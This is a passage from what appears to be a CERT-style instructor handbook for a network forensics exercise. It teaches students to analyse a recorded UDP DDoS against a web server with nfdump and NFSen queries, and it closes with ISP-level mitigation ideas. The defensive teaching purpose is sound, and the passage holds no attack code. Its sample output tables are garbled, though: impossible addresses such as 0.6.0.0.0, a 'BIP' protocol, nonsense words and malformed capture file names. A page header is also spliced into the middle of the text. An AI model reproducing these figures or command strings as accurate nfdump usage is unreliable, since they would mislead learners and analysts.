| 2007-02-24 03:58:36:457 433346:046 | 0 0 0 0 | 195.88.49.97 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:38:554 433257:789 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:38:457 433257:789 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:38:354 433257:789 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:36:256 433346:046 | 0 0 0 0 | 195.88.49.97 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:36:157 433346:046 | 0 0 0 0 | 195.88.49.97 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:36:058 433346:046 | 0 0 0 0 | 195.88.49.97 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:35:959 433326:161 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |
| 2007-02-24 03:59:34:850 433326:161 | 0 0 0 0 | 195.88.49.120 | 0 0 0 0 0 0 | | | | | | |

Summary: total flows: 48360105, total bytes: 72.1 G, total packets: 2.5 G, avg bps: 145570, avg pps: 618, avg byps: 20

Figure 13: Network statistics

195.88.49.121 is probably the attack target.
Now you have the potential target of the attack and – from the earlier analysis – you know that the attack was performed via UDP traffic. If you have any doubt about UDP traffic, use netflow processing: top 10 with protocol aggregation and the ‘dst host 195.88.49.121’ filter. As you can see, the UDP activity (packets, bytes, flows) is huge when compared with other protocols.

** Netflow Processing

```
** nfdump -M /data/nfjson/profiles/data/live/upsreams -T -n nfcapd.200702240400.nfcapd.200702240000 -n 10 -s record/flows -A proto -o long nfcap filters:

dst host 195.88.49.121

Aggregated flows 5
Top 10 flows ordered by flows:
Netflow start Duration Proto Src IP Addr:Port Dest IP Addr:Port Flows To Packets Bytes Flows
2007-02-24 03:59:50.672 401302.475 UDP 0.6.0.0.0 -> 0.6.0.0.0 .A.... 0 215 72.0 18728160
2007-02-24 03:59:15.991 912111.477 UDP 0.6.0.0.0 -> 0.6.0.0.0 ......0 0 8597 67.7 9452
2007-02-24 04:02:17.245 4305756.554 TCP 0.6.0.0.0 -> 0.6.0.0.0 .A.... 0 468 30779 72
2007-02-24 04:05:10.329 127315.510 TCP 0.6.0.0.0 -> 0.6.0.0.0 .A.... 102 14 3134 7
2007-02-24 04:51:01.358 2.549 BIP 0.6.0.0.0 -> 0.6.0.0.0 .A.... 0 11 319 1

Summary: total flows: 10234835, total bytes: 72.0 G, total packets: 215 0, avg bps: 147431, avg pps: 618, avg bps: 29
Total flow processed: 10234835, Records skipped: 0, Bytes read: 955217940
Type: 10.208s/flows/seceded: 1769389.6 Wall: 40.484s/flows/seceded: 490752.2
```

** Figure 14: Network statistics

Next you should identify what the role of the attacked server is. Change the time window (area in the graph) to some time before the attack and generate statistics of flow records (ordered by flows) with the ‘dst host 195.88.49.121’ filter.
As you can see almost all traffic to this server was 80/TCP, so this is probably a WWW server.

Conclusion:

The attack was DoS or DDoS performed via UDP traffic and was targeted on a WWW server (195.88.49.121).

You can perform a similar analysis on the command line interface:

**CLI:**

In order to identify what is being attacked, it is useful to start with the general TOP N traffic statistics, generated both after and before the attack started. TOP N statistics generated before the attack started can be treated as a baseline for comparison with later statistics.

Go to the `/data/nfsen/profiles-data/live/upstream` directory.

For example, the following general TOP N queries can be performed:

Before the attack:

```
nfdump -R nfcapd.200702232155:nfcapd.200702240345 -n 10 -s recsrc/flows -e long
```

After the attack started: (Reduce the time window to accelerate this process; in this example we use nfcapd.200702240400 to nfcapd.200702240900.)
By comparing the two queries, we can see that a lot of TOP N UDP traffic to many ports at 195.88.49.121 suddenly appeared. UDP traffic to such ports is anomalous, especially coming from a single IP.

7.8.5 Q 3 What IPs are involved in carrying out the attack?

GUI:

A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs based on flows against 195.88.49.121.

Use netflow processing. Select the time window from 2007-02-24-04-00 to 2007-02-24-09-00. Generate TOP 20 statistics about the source IP, using the ‘dst host 195.88.49.121’ filter.


---

** Figure 16: Network statistics

There are five hosts which generated huge traffic to the attacked server. These IPs are the potential attackers:

33.106.25.243
A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs based on flows against 195.88.49.121.

[Question to students: What IPs do you think are involved in the attack?]

Example query:
```
nfdump -R nfcapd.200702240400:nfcapd.200702240900 -n 20 -s srcip 'dst ip 195.88.49.121'
```

7.8.6 Q.4 How is the attack being carried out?

Once we get some attack candidates we can filter for their behaviour against this destination IP. This gives us a more complete picture of how the attack is being carried out.

GUI:

Use netflow processing with the ('dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)') filter.
**Cert Exercises Toolset**

**Document for students**

Figure 17: Network statistics

By modifying the filter ('dst host') you can investigate the behaviour of each attacking IP separately.

CLI:

```
In the command line interface you could use the following command:
nfdump -R nfcapd.20070224010:0 nfcapd.200702240900 -o extended -c 50
```

Modify the 'dst host' accordingly.
Conclusion:
The attacking IP was sending UDP packets to a WWW server to many different destination ports but always from the same source port. All these five attacking IPs sent packets simultaneously. All the packets had the same size: 29 B.

7.8.7 Q 5 Where did the attack come from?
One issue that frequently arises for DDoS attacks is the question whether the source IPs are spoofed. With UDP DDoS attacks, this is usually quite likely. For TCP based attacks, flows can be used to deduce what flags were seen for connections, allowing for speculation about whether an attack was spoofed or not. To track where an attack came from, one can also use netflow to observe the router interfaces from which the traffic entered. With the interface information it is possible to identify the uplink, and then in turn check its uplink, and so on. This can also be used to discover whether spoofing was involved.

CLI:
For example, to see what flags were set:
```
nfdump -R nfcapd.2007022240410:nfcapd.2007022240500 -c 50 -o extended 'dst ip 195.88.49.121 and (src ip 33.106.25.243 or src ip 207.39.221.61 or src ip 213.63.169.117 or src ip 43.170.142.79 or src ip 33.106.23.177)'
```

For example, to see the interfaces where packets came from:
```
nfdump -R nfcapd.2007022240410:nfcapd.2007022240500 -o fmt:%in 'src ip 33.106.25.243' | sort -u
```

7.8.8 Q 6 What could be done to mitigate the attack at the ISP level?
Some possible suggestions for attack mitigation may include the following:
- If the attacked server is only a WWW server, without other services, you could block all UDP traffic. This prevents repeated attacks from new IPs.
- You could block UDP traffic destined only to high number ports. (For example, if the attacked server is also a DNS server and you cannot block all UDP traffic – you could block all >53/UDP.)
- Rate limiting of UDP traffic is also a possibility.

Ask the students for their suggestions.

When you finish Task 1, run the `nfsen_stop` script available on your Virtual Image Desktop. (You can click on it.)

7.9 Task 2 DDoS analysis (DIY)
Once the first scenario is completed, ask the students to perform a similar analysis of another DDoS that can be found on the ‘Virtual Image #2: Network Forensics Task 2’. Make sure that
the Apache server is running. Run the nfsen_start script available on your ‘Virtual Image #2: Network Forensics Task 2’ Desktop. (You can click on it.)

The students should:

a) identify when the attack began;

b) identify what is actually being attacked;

c) identify what IPs are involved in carrying out the attack;

d) identify the way the attack is being carried out;

e) identify where the attack came from; and

f) suggest ways of mitigating the attack at the ISP level.

When you finish Task 2, run the nfsen_stop script available on your ‘Virtual Image #2: Network Forensics Task 2’ Desktop. (You can click on it.)

7.10 Summary of the exercise

Summarize the exercise. Which task did the students find most difficult? Encourage students to exchange their opinions, ask questions, and give their feedback about the exercise.

7.11 EVALUATION METRICS

Evaluation metrics are presented in the text of each part of this exercise. How well did the students answer these questions? How active were they during the exercise?

7.12 REFERENCES


Nfdump: http://nfdump.sourceforge.net/

NFSen – Netflow Sensor: http://nfsen.sourceforge.net/

Wireshark: http://www.wireshark.org

Snort: http://www.snort.org